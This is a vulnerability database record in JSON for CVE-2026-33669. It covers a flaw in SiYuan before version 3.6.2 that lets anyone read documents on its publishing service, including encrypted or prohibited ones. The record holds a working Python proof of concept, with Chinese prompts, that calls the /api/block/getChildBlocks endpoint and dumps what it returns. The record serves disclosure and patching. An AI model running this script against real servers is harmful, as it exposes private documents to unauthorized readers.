{"id":"CVE-2026-33669","aliases":["CVE-2026-33669","GHSA-34xj-66v3-6j83","GO-2026-4842"],"related":[],"kind":"vulnerability","state":"published","title":"SiYuan has Arbitrary Document Reading within the Publishing Service","summary":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.","source":"cvelist"},{"lang":"en","text":"### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks 文档内容读取\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n    \"\"\"\n    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容\n    \"\"\"\n    url = f\"{target_url.rstrip('/')}/api/block/getChildBlocks\"\n    \n    headers = {\n        \"Content-Type\": \"application/json\"\n    }\n    \n    data = {\n        \"id\": doc_id\n    }\n    \n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        response.raise_for_status()\n        \n        result = response.json()\n        \n        if result.get(\"code\") != 0:\n            print(f\"[-] 请求失败: {result.get('msg', '未知错误')}\")\n            return None\n        \n        return result.get(\"data\")\n        \n    except requests.exceptions.RequestException as e:\n        print(f\"[-] 网络请求失败: {e}\")\n        return None\n    except json.JSONDecodeError as e:\n        print(f\"[-] JSON解析失败: {e}\")\n        return None\n\ndef format_block_content(block):\n    \"\"\"格式化块内容\"\"\"\n    content = \"\"\n    \n    # 获取块内容\n    if isinstance(block, dict):\n        # 尝试多种可能的字段\n        md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n        if md:\n            content = md.strip()\n    \n    return content\n\ndef main():\n    \"\"\"主函数\"\"\"\n    if len(sys.argv) > 1:\n        target_url = sys.argv[1]\n    else:\n        target_url = input(\"请输入 SiYuan 服务地址 (例如: http://localhost:6806): \").strip()\n        if not target_url:\n            target_url = \"http://localhost:6806\"\n    \n    print(f\"目标地址: {target_url}\")\n    print(\"=\" * 50)\n    \n    while True:\n        print(\"\\n\" + \"=\" * 50)\n        doc_id = input(\"请输入文档ID (输入 'quit' 或 'exit' 退出): \").strip()\n        \n        if doc_id.lower() in ['quit', 'exit', 'q']:\n            print(\"程序退出\")\n            break\n        \n        if not doc_id:\n            print(\"[-] 文档ID不能为空\")\n            continue\n        \n        print(f\"\\n[*] 正在读取文档: {doc_id}\")\n        \n        blocks = get_child_blocks(target_url, doc_id)\n        \n        if blocks is None:\n            print(\"[-] 获取文档内容失败\")\n            continue\n        \n        if not blocks:\n            print(f\"[!] 文档 {doc_id} 没有子块或为空\")\n            continue\n        \n        print(f\"[+] 成功获取 {len(blocks)} 个子块\")\n        print(\"-\" * 50)\n        \n        # 保存所有块内容\n        all_blocks_content = []\n        \n        for i, block in enumerate(blocks, 1):\n            content = format_block_content(block)\n            if content:\n                print(content[:200] + (\"...\" if len(content) > 200 else \"\"))\n                \n                all_blocks_content.append({\n                    \"index\": i,\n                    \"content\": content,\n                    \"raw_block\": block\n                })\n        \n        # 询问是否保存到文件\n        save_choice = input(\"\\n是否保存到文件? (y/N): \").strip().lower()\n        if save_choice in ['y', 'yes']:\n            filename = f\"doc_{doc_id}_blocks.json\"\n            try:\n                with open(filename, \"w\", encoding=\"utf-8\") as f:\n                    json.dump({\n                        \"doc_id\": doc_id,\n                        \"block_count\": len(blocks),\n                        \"blocks\": all_blocks_content\n                    }, f, ensure_ascii=False, indent=2)\n                print(f\"[+] 已保存到: {filename}\")\n            except Exception as e:\n                print(f\"[-] 保存失败: {e}\")\n        \n        print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n<img width=\"1492\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\" />\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.","format":"markdown","source":"ghsa"},{"lang":"en","text":"SiYuan has Arbitrary Document Reading within the Publishing Service in github.com/siyuan-note/siyuan/kernel","format":"markdown","source":"go"},{"lang":"es","text":"SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.6.2, los ID de los documentos se recuperaban a través de la interfaz /API/file/readDir, y luego se utilizaba la interfaz /API/block/getChildBlocks para ver el contenido de todos los documentos. La versión 3.6.2 corrige el problema.","source":"nvd"}],"published":"2026-03-25T19:36:22.000Z","modified":"2026-06-17T10:37:53.793Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-125"],"affected":[{"ranges":[{"version":"< 3.6.2","status":"affected"}],"vendor":"siyuan-note","product":"siyuan","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"0.0.0-20260317012524-fe4523fff2c8"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"go"},{"ranges":[{"status":"affected","fixed":"3.6.2"}],"vendor":"b3log","product":"siyuan","cpe":"cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33669","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-27T20:26:31.368Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33669","url":"https://www.cve.org/CVERecord?id=CVE-2026-33669","licence":"CVE Terms of Use","modified":"2026-03-27T20:26:40.149Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-34xj-66v3-6j83","url":"https://github.com/advisories/GHSA-34xj-66v3-6j83","licence":"CC-BY-4.0","modified":"2026-03-27T21:31:21.189Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4842","url":"https://pkg.go.dev/vuln/GO-2026-4842","licence":"CC-BY-4.0","modified":"2026-03-26T21:04:11.336Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33669","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33669","licence":"Public domain","modified":"2026-06-17T10:37:53.793Z"}],"updatedAt":"2026-11-25T22:59:17.335Z","epss":{"score":0.02183,"percentile":0.8289,"date":"2026-12-01T12:00:22.000Z"}}